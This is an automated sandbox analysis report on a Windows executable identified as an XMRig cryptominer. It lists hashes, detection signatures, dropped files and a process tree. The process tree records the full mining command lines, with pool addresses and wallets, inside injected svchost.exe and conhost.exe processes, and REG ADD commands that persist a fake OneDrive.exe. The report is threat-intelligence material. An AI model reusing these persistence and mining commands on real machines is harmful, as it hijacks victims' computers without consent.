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Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/12/2024, 14:04

General

  • Target

    JaffaCakes118_5ebf6cdead494355e097f0664095b66cab6719a7eebd72aa9f605250aafc95ce.exe

  • Size

    6.6MB

  • MD5

    a4ac4ea53e40133a5295125f42b8f44b

  • SHA1

    23515fa205d9552ff9be7c97e4779051e8d3efd6

  • SHA256

    5ebf6cdead494355e097f0664095b66cab6719a7eebd72aa9f605250aafc95ce

  • SHA512

    a22a828f23b4add05183c3ae0f3f2fff76991e098b343a2cf34b02d70be72d8d89812ee348f6a0db642450ff29e831d1ff3ff59d427428f737a31bb98b8a874c

  • SSDEEP

    196608:Qv4oFqOMRr29c9lNxQp2QzenyEUBiI+8WO82a3EXfyoo6Y8W/W:i4oFqth9vxQp20TV/8r3cfyos8

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 3 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 47 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_5ebf6cdead494355e097f0664095b66cab6719a7eebd72aa9f605250aafc95ce.exe
    "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_5ebf6cdead494355e097f0664095b66cab6719a7eebd72aa9f605250aafc95ce.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4260
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1428
      • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe
        "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4308
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe --algo ETCHASH --pool etc.2miners.com:1010 --user 0xEB293f906Ae83111BC9c5163B0B2A9E0785a18B2.bebrik
          4⤵
            PID:632
          • C:\Windows\system32\conhost.exe
            C:\Windows\system32\conhost.exe -o xmr.2miners.com:2222 -u 43j4P4tGaaNW8u2amF6pBvd63GRGSMAi67r2qJ1u3PuqLv82r5cmrEThLk19WCQiUxAigJg9LTXhH2xcGiz9hboTBmVodn7 -p "bebrik"
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:2164
        • C:\Windows\SysWOW64\REG.exe
          REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v OneDrive /t REG_SZ /f /d C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe
          3⤵
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Modifies registry key
          PID:1072
        • C:\Windows\SysWOW64\REG.exe
          REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v OneDrive /t REG_BINARY /f /d 020000000000000000000000
          3⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry key
          PID:32

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\08s5oRQXAhuUIo_s

      Filesize

      215B

      MD5

      87afbf5a4ae61a49fa66e1eef6ba02ae

      SHA1

      e054d0178651f44e65f0481ee60c0fe551653798

      SHA256

      db79f16871eb8f25adbf86a9cdd738fb850626ce6b10de1f132cd9064d83b770

      SHA512

      1e6eb62455352ee2135e8974f140a7981598c71ad05df27559a737a44920749109a986bee08172078f0e5298fa22a60662ca6cdfa5d9a82b5abf435092515a95

    • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe

      Filesize

      175KB

      MD5

      f3af73070387fb75b19286826cc3126c

      SHA1

      7774854137d7ada89f3b4bdf67631456a1e74853

      SHA256

      974243f2487ceeb8eeea6aa8fee215f15c7b204382d4bd12f469f712f56c3610

      SHA512

      a620583b2d89e3f0350ae4d5dfe2b2c160d2f982b29dea6b8e273bb39ab2d1d91a2452238e9c30cdd7151aa555e231e1ac9930f9d76f6ff80504eacb25fa557a

    • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Secur32.dll

      Filesize

      316KB

      MD5

      fed6517a5f84eecc29edee5586d7feeb

      SHA1

      56df244bf73c7ec7b59c98e1f5d47b379b58a06b

      SHA256

      5075a0587b1b35c0152d8c44468641d0ab1c52fd8f1814ee257eceb9ffcb89b6

      SHA512

      45cab4395d509b5d7dfb904e84d5a679440412f494c4970191b5882572f4d1b9c9cd28d41a49619353c405c2477153b4a7a1568fcf307709df0b81b38c405642

    • memory/632-52-0x0000000140000000-0x0000000142B59000-memory.dmp

      Filesize

      43.3MB

    • memory/632-51-0x0000000140000000-0x0000000142B59000-memory.dmp

      Filesize

      43.3MB

    • memory/1428-2-0x0000000000400000-0x00000000004CA000-memory.dmp

      Filesize

      808KB

    • memory/1428-8-0x0000000000400000-0x00000000004CA000-memory.dmp

      Filesize

      808KB

    • memory/2164-53-0x0000000140000000-0x00000001407DD000-memory.dmp

      Filesize

      7.9MB

    • memory/2164-54-0x0000000140000000-0x00000001407DD000-memory.dmp

      Filesize

      7.9MB

    • memory/2164-55-0x0000023A86D40000-0x0000023A86D60000-memory.dmp

      Filesize

      128KB

    • memory/2164-56-0x0000000140000000-0x00000001407DD000-memory.dmp

      Filesize

      7.9MB

    • memory/2164-59-0x0000000140000000-0x00000001407DD000-memory.dmp

      Filesize

      7.9MB

    • memory/2164-60-0x0000000140000000-0x00000001407DD000-memory.dmp

      Filesize

      7.9MB

    • memory/2164-58-0x0000000140000000-0x00000001407DD000-memory.dmp

      Filesize

      7.9MB

    • memory/2164-57-0x0000000140000000-0x00000001407DD000-memory.dmp

      Filesize

      7.9MB

    • memory/4260-1-0x0000000001040000-0x0000000001140000-memory.dmp

      Filesize

      1024KB